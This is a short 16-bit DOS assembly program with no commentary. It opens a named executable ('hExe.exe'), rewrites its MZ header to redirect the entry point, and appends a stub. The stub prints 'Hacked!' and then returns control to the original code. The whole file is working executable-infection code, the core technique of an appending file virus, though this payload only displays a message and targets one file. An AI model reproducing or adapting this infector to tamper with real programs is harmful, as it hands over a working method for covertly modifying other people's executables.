.286
.model small
.code 
org 100h
start:  mov ax, 3d02h
	mov dx, offset TargName
	int 21h
	mov bx, ax
	push bx
        mov ah, 3fh
        mov dx, offset Header
        mov cx, 24
        int 21h

        mov ax, Header[20]
        mov OldrIP, ax
        mov ax, Header[22]
        mov OldrCS, ax
        mov ax, header[4]
        dec ax
        shl ax, 9
        add ax, Header[2]
        push ax
        add ax, @progasize
        push ax
        shr ax, 9
        inc ax      
        mov Header[4], ax
        pop ax
        and ax, 1FFh
        mov header[2], ax
        mov ax, header[8]
        shl ax, 4
        pop cx
        sub cx, ax
        push cx
        shr cx, 4
        mov rCS, cx
        mov Header[22], cx
        pop cx
        and cx, 0Fh
        mov Header[20], cx

        mov ax, 4200h
        pop bx
        xor dx, dx        
        xor cx, cx
        int 21h

        mov ah, 40h
        mov dx, offset HEader
        mov cx, 24
        int 21h

        mov ax, 4202h
        xor dx, dx
        xor cx, cx
        int 21h

        mov ah, 40h
        mov dx, offset @proga
        mov cx, @progasize
        int 21h

        mov ah, 3eh
        int 21h

	mov ah, 4ch
	int 21h
Header		dw 0,0,0,0,0,0,0,0,0,0,0,0
TargName	db 'hExe.exe',0
;--------------------------------------------------------
@proga:
	call @2
	oldrCS	dw 0
	oldrIP	dw 0
	rCS	dw 0
	TxtMsg	db 'Hacked!$'
@2:	pop 	si
	push 	cs
	pop     ax
	mov	ds, ax
	mov 	bx, cs:[si+4]
	sub	ax, bx
	mov 	bx, cs:[si]
	add	ax, bx
	push	ax
	mov 	bx, cs:[si+2]
	push	bx
	mov 	ah, 09h
	mov 	dx, si
	add	dx, 6
	int 	21h
	retf
@progasize EQU $-@proga
end start
